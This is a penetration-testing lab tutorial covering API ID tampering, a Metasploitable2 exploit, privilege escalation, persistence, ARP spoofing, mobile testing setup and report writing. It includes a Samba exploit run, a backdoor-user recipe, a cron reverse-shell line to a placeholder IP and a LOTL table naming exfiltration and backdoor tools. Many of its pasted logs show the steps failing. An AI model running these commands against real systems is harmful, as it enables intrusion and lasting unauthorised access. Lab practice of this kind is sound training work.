ONLY use this browser.

STEP 4 — Open Practice Site

In Burp browser open:

[JSONPlaceholder Fake API](#)

STEP 5 — Watch Burp Capture Request

Burp now shows:

GET /users/1 HTTP/1.1

Host: jsonplaceholder.typicode.com

SUCCESS — API captured.

STEP 6 — Send to Repeater

Right click request.

Click:

Send to Repeater

STEP 7 — Go to Repeater

Top menu:

Repeater

You see:

GET /users/1 HTTP/1.1

STEP 8 — Change User ID

Change:

GET /users/1

to:

GET /users/2

Click:

Send

STEP 9 — Observe Response

You will see another user:

14



3.Privilege Escalation and Persistence

You can practice Privilege Escalation and Persistence safely using:

Kali Linux (attacker)

Metasploitable2 (“meta2”) as vulnerable target

VMware / VirtualBox

Architecture:

Kali Linux ---> Metasploitable2

(Attacker) (Victim)

STEP 1 — Find Metasploitable2 IP

Inside Meta2 terminal:

ifconfig

Example:

192.168.78.133

STEP 2 — Scan Target from Kali

From Kali:

`nmap -sV 192.168.78.133`

```
(kali@kali)-[~]
$ nmap -sV 192.168.78.133
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-27 06:30 -0400
Nmap scan report for 192.168.78.133
Host is up (0.0023s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login          OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp           ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:AF:31:F6 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.32 seconds
```

STEP 3 — Get Initial Access

Example using Samba exploit.

Start:

`msfconsole`

Search exploit:

`search samba`

Use username map script exploit:



use exploit/multi/samba/usermap_script

Set target:

set RHOSTS 192.168.78.133

Run:

run

You get shell:

Command shell session opened

Check:

whoami

Maybe:

daemon

Now you have LOW privilege access.



Matching Modules					
#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/webapp/citrix_access_gateway_exec	2010-12-21	excellent	Yes	Citrix Access Gateway Command Execution
1	exploit/windows/license/calclnt_getconfig	2005-03-02	average	No	Computer Associates License Client GETCONFIG Overflow
2	target: Automatic	-	-	-	-
3	target: Windows 2000 English	-	-	-	-
4	target: Windows XP English SP0-1	-	-	-	-
5	target: Windows XP English SP2	-	-	-	-
6	target: Windows 2003 English SP0	-	-	-	-
7	exploit/unix/misc/distcc_exec	2002-02-01	excellent	Yes	distCC Daemon Command Execution
8	exploit/windows/smb/group_policy_startup	2015-01-26	manual	No	Group Policy Script Execution From Shared Resource
9	target: Windows x86	-	-	-	-
10	target: Windows x64	-	-	-	-
11	post/linux/gather/enum_configs	-	normal	No	Linux Gather Configurations
12	auxiliary/scanner/rsync/modules_list	-	normal	No	List Rsync Modules
13	exploit/windows/Fileformat/ms14_060_sandworm	2014-10-14	excellent	No	MS14-060 Microsoft Windows OLE Package Manager Code Execution
14	exploit/unix/http/quest_kace_systems_management_rce	2018-05-31	excellent	Yes	Quest KACE Systems Management Command Injection
15	exploit/multi/samba/usermap_script	2007-05-14	excellent	No	Samba usermap script() Command Execution
16	exploit/multi/smb/nttrans	2003-04-07	average	No	Samba 2.2-2.6 nttrans Buffer Overflow
17	exploit/linux/samba/setinfo Policy heap	2012-04-10	normal	Yes	Samba SetInformationPolicy AuditEventsInfo Heap Overflow
18	target: 2.3.5.11-dfsg-lubuntu2 on Ubuntu Server 11.10	-	-	-	-
19	target: 2.3.5.8-dfsg-lubuntu2 on Ubuntu Server 11.10	-	-	-	-
20	target: 2.3.5.8-dfsg-lubuntu2 on Ubuntu Server 11.04	-	-	-	-
21	target: 2.3.5.4-dfsg-lubuntu8 on Ubuntu Server 10.10	-	-	-	-
22	target: 2.3.5.6-dfsg-3squeeze6 on Debian Squeeze	-	-	-	-
23	target: 3.5.10-0.107.el5 on CentOS 5	-	-	-	-
24	auxiliary/admin/smb/samba_symlink_traversal	-	normal	No	Samba Symlink Directory Traversal
25	auxiliary/scanner/smb/smb_uninit_cred	-	normal	Yes	Samba netdr_ServerPasswordSet Uninitialized Credential State
26	exploit/linux/samba/chain_reply	2010-06-16	good	No	Samba chain_reply Memory Corruption (Linux x86)
27	target: Linux (Debian 3.2-5.4-lenny6)	-	-	-	-
28	target: Debugging Target	-	-	-	-
29	exploit/linux/samba/is_known_pipename	2017-03-24	excellent	Yes	Samba is_known_pipename() Arbitrary Module Load
30	target: Automatic (Interact)	-	-	-	-
31	target: Automatic (Command)	-	-	-	-
32	target: Linux x86	-	-	-	-
33	target: Linux x86_64	-	-	-	-
34	target: Linux ARM (LE)	-	-	-	-
35	target: Linux ARMv6	-	-	-	-
36	target: Linux MIPS	-	-	-	-
37	target: Linux MIPSLE	-	-	-	-
38	target: Linux MIPS64	-	-	-	-
39	target: Linux MIPS64LE	-	-	-	-
40	target: Linux PPC	-	-	-	-
41	target: Linux PPC64	-	-	-	-



```

45 \ target: Linux $390x . . .
46 auxiliary/dos/samba/lsa_addprivs_heap . normal No Samba lsa_io_privilege_set Heap Overflow
47 auxiliary/dos/samba/lsa_transnames_heap . normal No Samba lsa_io_trans_names Heap Overflow
48 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow
49 \ target: Linux vsyscall . . .
50 \ target: Linux Heap Brute Force (Debian/Ubuntu) . . .
51 \ target: Linux Heap Brute Force (Gentoo) . . .
52 \ target: Linux Heap Brute Force (Mandriva) . . .
53 \ target: Linux Heap Brute Force (RHEL/CentOS) . . .
54 \ target: Linux Heap Brute Force (SUSE) . . .
55 \ target: Linux Heap Brute Force (Slackware) . . .
56 \ target: Linux Heap Brute Force (OpenWRT MIPS) . . .
57 \ target: DEBUG . . .
58 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
59 \ target: Automatic . . .
60 \ target: Mac OS X 10.4.x x86 Samba 3.0.10 . . .
61 \ target: Mac OS X 10.4.x PPC Samba 3.0.10 . . .
62 \ target: DEBUG . . .
63 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
64 \ target: Solaris 8/9/10 x86 Samba 3.0.21-3.0.24 . . .
65 \ target: Solaris 8/9/10 SPARC Samba 3.0.21-3.0.24 . . .
66 \ target: DEBUG . . .
67 auxiliary/dos/samba/read_nttrans_ea_list . normal No Samba read_nttrans_ea_list Integer Overflow
68 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
69 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
70 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
71 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)
72 \ target: Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce . . .
73 \ target: Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce . . .
74 exploit/windows/http/samba6_search_results 2003-06-21 normal Yes Samba 6 Search Results Buffer Overflow
75 \ target: Automatic . . .
76 \ target: Windows 2000 . . .
77 \ target: Windows XP . . .

Interact with a module by name or index. For example info 77, use 77 or use exploit/windows/http/samba6_search_results
After interacting with a module you can manually set a TARGET with set TARGET 'Windows XP'

msf > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.78.133
RHOSTS => 192.168.78.133
msf exploit(multi/samba/usermap_script) > set LHOST 192.168.78.130
LHOST => 192.168.78.130
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.78.130:4444
[*] Exploit completed, but no session was created.

```

STEP 4 — Privilege Escalation

Now escalate to root.

METHOD 1 — SUID Binaries

Find SUID files:

```
find / -perm -4000 2>/dev/null
```

Example output:

```
/usr/bin/nmap
```

```
/usr/bin/find
```

```
/usr/bin/vim
```

If vulnerable nmap exists:

```
nmap --interactive
```

Inside:

```
!sh
```

Check:

```
id
```

You may get:

```
uid=0(root)
```

Now you are ROOT.



```
kali@kali: ~  
Session Actions Edit View Help  
[*] exec: find / -perm -4000 2>/dev/null  
/usr/bin/kismet_cap_ubertooth_one  
/usr/bin/amount  
/usr/bin/newgrp  
/usr/bin/sudo  
/usr/bin/kismet_cap_ti_cc_2531  
/usr/bin/kismet_cap_hak5_wifi_coconut  
/usr/bin/chsh  
/usr/bin/vmware-user-suid-wrapper  
/usr/bin/kismet_cap_linux_wifi  
/usr/bin/chfn  
/usr/bin/kismet_cap_nrf_mousejack  
/usr/bin/fusemount3  
/usr/bin/pkexec  
/usr/bin/kismet_cap_nrf_51822  
/usr/bin/su  
/usr/bin/rsh-redone-rsh  
/usr/bin/kismet_cap_rz_killerbee  
/usr/bin/gpasswd  
/usr/bin/kismet_cap_ti_cc_2540  
/usr/bin/kismet_cap_nxp_kw4iz  
/usr/bin/rsh-redone-rlogin  
/usr/bin/passwd  
/usr/bin/kismet_cap_linux_bluetooth  
/usr/bin/mount  
/usr/bin/ntfs-3g  
/usr/bin/kismet_cap_nrf_52848  
/usr/lib/dbus-1.0/dbus-daemon-launch-helper  
/usr/lib/openssh/ssh-keysign  
/usr/lib/xorg/Xorg.wrap  
/usr/lib/chromium/chrome-sandbox  
/usr/sbin/pppd  
/usr/sbin/mount.nfs  
/usr/sbin/cifs  
msf exploit(multi/samba/usermap_script) > nmap --interactive  
[*] exec: nmap --interactive  
/usr/lib/nmap/nmap: unrecognized option '--interactive'  
See the output of nmap -h for a summary of options.  
msf exploit(multi/samba/usermap_script) > !sh  
[*] Unknown command: !sh. Run the help command for more details.  
msf exploit(multi/samba/usermap_script) > id  
[*] exec: id  
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(scanner),107(bluetooth),124(lp  
admin),132(wireshark),134(kaboxer),136(docker)  
msf exploit(multi/samba/usermap_script) > |
```

METHOD 2 — Weak sudo Permissions

Check:

sudo -l

If allowed:

(root) NOPASSWD: /usr/bin/vim

Exploit:

sudo vim

Inside vim:

#!/bin/sh

Root shell obtained.



```
msf exploit(multi/samba/usermap_script) > nmap --interactive
[*] exec: nmap --interactive

/usr/lib/nmap/nmap: unrecognized option '--interactive'
See the output of nmap -h for a summary of options.
msf exploit(multi/samba/usermap_script) > !sh
[-] Unknown command: !sh. Run the help command for more details.
msf exploit(multi/samba/usermap_script) > id
[*] exec: id

uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dig
admin),132(wireshark),134(kaboxer),136(docker)
msf exploit(multi/samba/usermap_script) > sudo -l
[*] exec: sudo -l

[sudo] password for kali:
Matching Defaults entries for kali on kali:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User kali may run the following commands on kali:
    (ALL : ALL) ALL
msf exploit(multi/samba/usermap_script) > (root) NOPASSWD: /usr/bin/vim
[-] Unknown command: (root). Run the help command for more details.
msf exploit(multi/samba/usermap_script) > sudo vim
[*] exec: sudo vim

zsh: suspended  msfconsole
```

METHOD 3 — Kernel Exploit

Check kernel:

uname -a

Example:

Linux metasploitable 2.6.xx

Search exploit in Kali:

searchsploit linux kernel 2.6

Copy exploit:

searchsploit -m 8572

Compile:

gcc exploit.c -o exploit

Transfer to Meta2:

scp exploit msfadmin@192.168.78.133:/tmp

Run on Meta2:



```
chmod +x exploit
./exploit
```

Check:

Id

```
msf exploit(multi/samba/usermap_script) > (root) NOPASSWD: /usr/bin/vim
[*] Unknown command: (root). Run the help command for more details.
msf exploit(multi/samba/usermap_script) > sudo vim
[*] exec: sudo vim

zsh: suspended msfconsole

kali@kali:~$
kali@kali:~$ uname -a
Linux kali 6.19.14-kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.19.14-1kali1 (2026-05-05) x86_64 GNU/Linux

kali@kali:~$ searchsploit linux kernel 2.6
```

Exploit Title	Path
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation	solaris/local/15962.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation	linux/local/1160.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Validator	linux/local/154.c
Linux Kernel 2.2.x/2.3.x/2.4.x/2.5.x/2.6.x - ELF Core Dump Local Buffer Overflow (PoC)	linux/dos/25047.sh
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3)	linux/local/9844.py
Linux Kernel 2.4.22-28/2.6.9 - 'lsm.c' Local Denial of Service	linux/dos/686.c
Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Privilege Escalation	linux/local/145.c
Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Validator (1)	linux/local/141.c
Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Validator (2)	linux/local/142.c
Linux Kernel 2.4.27/2.6.8 - 'binfmt_elf' Executable File Read	linux/local/624.c
Linux Kernel 2.4.28/2.6.9 - 'ip_options.get' Local Overflow	linux/dos/692.c
Linux Kernel 2.4.28/2.6.9 - 'scm_send Local' Denial of Service	linux/dos/685.c
Linux Kernel 2.4.28/2.6.9 - Memory Leak Local Denial of Service	linux/dos/691.c
Linux Kernel 2.4.28/2.6.9 - vc_resize int Local Overflow	linux/dos/690.c
Linux Kernel 2.4.30/2.6.11.5 - Bluetooth 'bluez_sock_create' Local Privilege Escalation	linux/local/25289.c
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasploit)	linux/local/19933.rb
Linux Kernel 2.4.x/2.5.x/2.6.x - 'Sockaddr_In.Sin_Zero' Kernel Memory Disclosure	linux/local/27461.c
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation	linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' Bluetooth Signed Buffer Index Privilege Escalation (2)	linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3)	linux/local/895.c
Linux Kernel 2.4.x/2.6.x - Assembler Inline Function Local Denial of Service	linux/dos/386.c
Linux Kernel 2.4.x/2.6.x - Bluetooth Signed Buffer Index (PoC)	linux/dos/25287.c
Linux Kernel 2.4.x/2.6.x - Bluetooth Signed Buffer Index Privilege Escalation (1)	linux/local/25288.c
Linux Kernel 2.4.x/2.6.x - Local Denial of Service / Memory Disclosure	linux/dos/24777.txt
Linux Kernel 2.4.x/2.6.x - Multiple ISO9660 Filesystem Handling Vulnerabilities	linux/dos/25234.sh
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege Escalation (2)	linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5)	linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Escalation	linux_x86-64/local/4460.c
Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation (3)	linux/local/9641.txt
Linux Kernel 2.4/2.6 - Siqueuse Blocking Denial of Service	linux/dos/23946.c

STEP 5 — Persistence

After root access, maintain access.

METHOD 1 — Add New Root User

On Meta2:

```
useradd hacker
```

```
passwd hacker
```

```
usermod -aG sudo hacker
```

Now you can login anytime:

```
ssh hacker@192.168.78.133
```

METHOD 2 — Cron Job Persistence

Edit cron:

```
crontab -e
```

Add:

```
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
```

Listener on Kali:

```
nc -l -vnp 4444
```

Every minute reverse shell comes back.

METHOD 3 — SSH Key Persistence



Generate key on Kali:

ssh-keygen

Copy public key:

cat ~/.ssh/id_rsa.pub

On target:

mkdir ~/.ssh

nano ~/.ssh/authorized_keys

Paste key.

Now login without password:

ssh root@192.168.78.133

STEP 6 — Living Off The Land (LOTL)

Use built-in tools instead of malware.

Examples:

Tool	Usage
bash	reverse shells
wget	download payload
curl	exfiltrate
python	spawn tty
nc	backdoor shell
cron	persistence

Example upgrade shell:

python -c 'import pty; pty.spawn("/bin/bash")'

```
(kali@kali)-[~]
└─$ gcc exploit.c -o exploit
/usr/bin/x86_64-linux-gnu-ld.bfd: /tmp/ccvYC7VV.o: in function `generate_password_hash':
exploit.c:(.text+0x1e): undefined reference to `crypt'
collect2: error: ld returned 1 exit status

(kali@kali)-[~]
└─$ scp exploit msfadmin@192.168.78.133:/tmp
scp: stat local "exploit": No such file or directory

(kali@kali)-[~]
└─$ chmod +x exploit
chmod: cannot access 'exploit': No such file or directory

(kali@kali)-[~]
└─$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),10
admin),132(wireshark),134(kaboxer),136(docker)

(kali@kali)-[~]
└─$ useradd hacker
passwd hacker
usermod -s /bin/bash hacker
useradd: Permission denied.
useradd: cannot lock /etc/passwd; try again later.
passwd: user 'hacker' does not exist
usermod: user 'hacker' does not exist

(kali@kali)-[~]
└─$ ssh hacker@192.168.78.133
Unable to negotiate with 192.168.78.133 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

(kali@kali)-[~]
└─$ crontab -e
no crontab for kali - using an empty one
Select an editor. To change later, run select-editor again.
1. /bin/nano
2. /usr/bin/vim.basic
3. /usr/bin/vim.tiny
```



```
(kali@kali)-[~]
$ useradd hacker
passwd hacker
usermod -aG sudo hacker
useradd: Permission denied.
useradd: cannot lock /etc/passwd; try again later.
passwd: user 'hacker' does not exist
usermod: user 'hacker' does not exist

(kali@kali)-[~]
$ ssh hacker@192.168.78.133
Unable to negotiate with 192.168.78.133 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

(kali@kali)-[~]
$ crontab -e
no crontab for kali - using an empty one
Select an editor. To change later, run select-editor again.
 1. /bin/nano          ← easiest
 2. /usr/bin/vim.basic
 3. /usr/bin/vim.tiny

Choose 1-3 [1]: * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
Choose 1-3 [1]: nc -lvnp 4444
Choose 1-3 [1]: 2
No modification made

(kali@kali)-[~]
$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): cat ~/.ssh/id_rsa.pub
Enter passphrase for "cat ~/.ssh/id_rsa.pub" (empty for no passphrase):
Enter same passphrase again:
Saving key "cat ~/.ssh/id_rsa.pub" failed: No such file or directory
```

4. Network Protocol Attacks

Imagine a Small Network

[Victim PC] ---- [Router] ---- Internet

 \
 [You/Kali]

Normally:

Victim → Router → Internet

In protocol attacks:

You trick devices so traffic becomes:

Victim → YOU → Router

Now you can:

- watch traffic
- modify traffic
- steal credentials
- redirect websites

That is the MAIN IDEA.



STEP 1 — Learn ARP First

ARP = “Who has this IP?”

Example:

Victim asks:

Who has 192.168.1.1 ?

Router replies:

I am 192.168.1.1

My MAC = AA:BB:CC

Victim stores it.

ARP Spoofing

Attacker lies:

I am router!

My MAC = ATTACKER_MAC

Victim believes attacker.

Now traffic goes to attacker.

REAL FLOW

Normal

Victim → Router

After ARP spoof

Victim → Attacker → Router

This is called:

Man in the Middle (MitM)

STEP 2 — How to Practice

Use:

Kali VM

Windows VM

Install:

```
sudo apt install bettercap
```

Start:

```
sudo bettercap -iface eth0
```

Find devices:

```
net.probe on
```

```
net.show
```

Example result:

```
192.168.78.130  Victim
```

```
192.168.78.129  Router
```

STEP 3 — Start ARP Spoof

Tell victim you are router:

```
set arp.spoof.targets 192.168.78.129
```

```
arp.spoof on
```



NOW:

Victim traffic flows through you.

```
(root@kali)-[~]
# arp -a
? (192.168.78.129) at 00:0c:29:94:0b:0a [ether] on eth0
? (192.168.78.2) at 00:50:56:eb:5f:44 [ether] on eth0
? (192.168.78.254) at 00:50:56:e6:d9:09 [ether] on eth0
? (192.168.78.133) at 00:0c:29:af:31:f6 [ether] on eth0
```

STEP 3 — Packet Capture

Use:

Wireshark

Capture traffic.

See:

DNS packets

SMB packets

HTTP requests

This is VERY important.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	VMware_c0:00:08	Broadcast	ARP	60	Who has 192.168.78.2? Tell 1
2	0.620505550	VMware_c0:00:08	Broadcast	ARP	60	Who has 192.168.78.2? Tell 1
3	1.614559494	VMware_c0:00:08	Broadcast	ARP	60	Who has 192.168.78.2? Tell 1
4	6.516681998	192.168.78.130	162.159.200.1	NTP	90	NTP Version 4, client
5	6.550978001	162.159.200.1	192.168.78.130	NTP	90	NTP Version 4, server
6	11.607630366	VMware_27:1b:cd	VMware_eb:5f:44	ARP	42	Who has 192.168.78.2? Tell 1
7	11.608990269	VMware_eb:5f:44	VMware_27:1b:cd	ARP	60	192.168.78.2 is at 00:50:56:
8	25.427652841	192.168.78.129	4.213.25.240	TLSv1.2	155	Application Data
9	25.427786609	4.213.25.240	192.168.78.129	TCP	60	443 → 49694 [ACK] Seq=1 Ack=
10	25.483677809	4.213.25.240	192.168.78.129	TLSv1.2	225	Application Data
11	25.536202493	192.168.78.129	4.213.25.240	TCP	60	49694 → 443 [ACK] Seq=102 Ac
12	33.948834857	192.168.78.1	192.168.78.254	DHCP	358	DHCP Request - Transaction
13	33.949277022	192.168.78.254	192.168.78.1	DHCP	342	DHCP ACK - Transaction
14	33.993163676	fe80::5db9:293a:12c...	ff02::16	ICMPv6	90	Multicast Listener Report Me
15	33.993164766	192.168.78.1	224.0.0.22	IGMPv3	60	Membership Report / Leave an

Frame 1: Packet, 60 bytes on wire (480 bits), 60 byt
Ethernet II, Src: VMware_c0:00:08 (00:50:56:c0:00:08)
Address Resolution Protocol (request)

Network Protocol Attacks means testing weaknesses in communication protocols like SMB, DNS, ARP, FTP, and Telnet. The proper way to learn is by creating a safe lab using Kali Linux as the attacker machine and Metasploitable2 or a Windows VM as the target. Use tools like Wireshark to capture and study packets, understand how protocols work, identify insecure configurations such as SMBv1 or Telnet, and safely practice packet analysis and network security testing inside your own isolated environment.

5. Mobile Application Penetration Testing



Mobile Application Penetration Testing means finding security weaknesses in Android apps. First, set up a lab using Kali Linux and an Android emulator from Android Studio or Genymotion. Install vulnerable apps like InsecureShop to practice safely. Learn common mobile vulnerabilities such as insecure data storage, weak authentication, exposed APIs, and hardcoded secrets using the OWASP Mobile Top 10. Use MobSF and jadx for static analysis to inspect APK files, and use Burp Suite and Frida for dynamic testing to analyze app traffic and runtime behavior. Practice regularly with labs from TryHackMe and study the OWASP Mobile Security Testing Guide to improve your skills.

Genymotion installation.

Your installation path is:

/home/kali/Downloads/genymotion

Now do this.

STEP 1 — Go Into Folder

cd ~/Downloads/genymotion

STEP 2 — Start Genymotion

Run:

./genymotion

NOW Genymotion window should open.

STEP 3 — Login

Login with your Genymotion account.

STEP 4 — Add Android Device

Click:

+

Choose:

Google Pixel

Android 10 or 11

Download it.

STEP 5 — Start Emulator

Click:

START

Android emulator opens.

STEP 6 — Verify ADB

Open new terminal:

adb devices

You should see emulator connected.

STEP 7 — Install Vulnerable APK

Example:

adb install InsecureShop.apk



```
(kali@kali)-[~]
$ cd Downloads

(kali@kali)-[~/Downloads]
$ find / -name genymotion 2>/dev/null
/home/kali/Downloads/genymotion
/home/kali/Downloads/genymotion/genymotion

(kali@kali)-[~/Downloads]
$ /home/kali/genymotion/genymotion
zsh: no such file or directory: /home/kali/genymotion/genymotion

(kali@kali)-[~/Downloads]
$ chmod +x genymotion-3.10.0-linux_x64.run

(kali@kali)-[~/Downloads]
$ ./genymotion-3.10.0-linux_x64.run
Installing for current user only. To install for all users, restart this installer as root.

A previous installation already exists in folder [/home/kali/Downloads/genymotion]. Overwrite [y/n] ? y

- Removing old installation ..... OK
- Extracting files ..... OK (Extract into: [/home/kali/Downloads/genymotion])
- Installing launcher icon ..... OK

Installation done successfully.

You can now use these tools from [/home/kali/Downloads/genymotion]:
- genymotion
- genymotion-shell
- gmtool

(kali@kali)-[~/Downloads]
$ cd ~/Downloads/genymotion

(kali@kali)-[~/Downloads/genymotion]
$ ./genymotion
Logging activities to file: /home/kali/.Genymobile/genymotion.log
Logging activities to file: /home/kali/.Genymobile/genymotion.log
Logging activities to file: /home/kali/.Genymobile/Genymotion/deployed/Google Pixel 9/genymotion-player.log
Logging activities to file: /home/kali/.Genymobile/genymotion.log
Logging activities to file: /home/kali/.Genymobile/Genymotion/deployed/Google Pixel 9/genymotion-player.log
Logging activities to file: /home/kali/.Genymobile/genymotion.log
Logging activities to file: /home/kali/.Genymobile/Genymotion/deployed/Samsung/genymotion-player.log
```

The screenshot shows the Genymotion Desktop application window. The title bar reads "Genymotion Desktop". The interface has a sidebar on the left with icons for devices, settings, and help. The main area is titled "Genymotion" and has tabs for "LOCAL" and "CLOUD". Under the "LOCAL" tab, it says "1 device installed" with a search bar and a "+ CREATE" button. Below this is a table with columns: Type, Name, Android API, Resolution, Density, Size on disk, Source, Status, and Actions. The table contains one entry: Google Pixel 9, API 29, Resolution 1080 x 2424, Density 422, Size 1,013.59 MIB, Source Genymotion, and Status Booting. There is a red "UPGRADE TO PRO" button in the top right corner.

Type	Name	Android API	Resolution	Density	Size on disk	Source	Status	Actions
📱	Google Pixel 9	10.0 - API 29	1080 × 2424	422	1,013.59 MIB	Genymotion	Booting	⋮

6. Comprehensive Reporting and Remediation



Comprehensive Reporting and Remediation — Steps

STEP 1 — Collect Findings

Gather:

vulnerabilities found

screenshots

logs

affected systems

proof of concept

impact details

Example:

SQL Injection found in login page

STEP 2 — Organize Vulnerabilities

Classify issues by:

Critical

High

Medium

Low

Use:

CVSS scoring

This helps prioritize fixes.

STEP 3 — Write Executive Summary

Create simple business explanation for managers.

Explain:

overall security risk

business impact

important findings

Avoid deep technical details here.

STEP 4 — Write Technical Details

For each vulnerability include:

vulnerability name

affected target

attack steps

screenshots

impact

remediation

This section helps developers fix issues.

STEP 5 — Add Attack Narrative

Explain:

How attacker moved from one weakness to another

Example:



Weak password → login access → privilege escalation

STEP 6 — Recommend Remediation

Suggest fixes like:

- patch software
- secure coding
- disable SMBv1
- enforce MFA
- encrypt sensitive data
- update firewall rules

STEP 7 — Create Mitigation Timeline

Example:

Severity	Fix Time
Critical	24 hours
High	7 days
Medium	30 days

TEP 8 — Tailor Report for Audience

Executives

Focus:

- business risk
- financial impact

Developers

Focus:

- technical fixes
- code changes

Auditors

Focus:

- compliance
- policies

STEP 9 — Review Report

Check:

- clarity
- accuracy
- screenshots
- grammar
- technical correctness

Conclusion:



In conclusion, mastering advanced penetration testing requires strong knowledge across multiple domains such as exploit development, API security, privilege escalation, network protocol attacks, mobile application testing, and professional reporting. A proper learning path involves building safe lab environments using tools like Kali Linux, Burp Suite, Wireshark, Frida, and vulnerable machines or apps for hands-on practice. By studying real-world attack techniques, understanding secure design principles, and learning how to communicate findings through professional reports, you can develop the skills needed to identify, analyze, and help remediate modern security vulnerabilities in web, network, system, API, and mobile environments.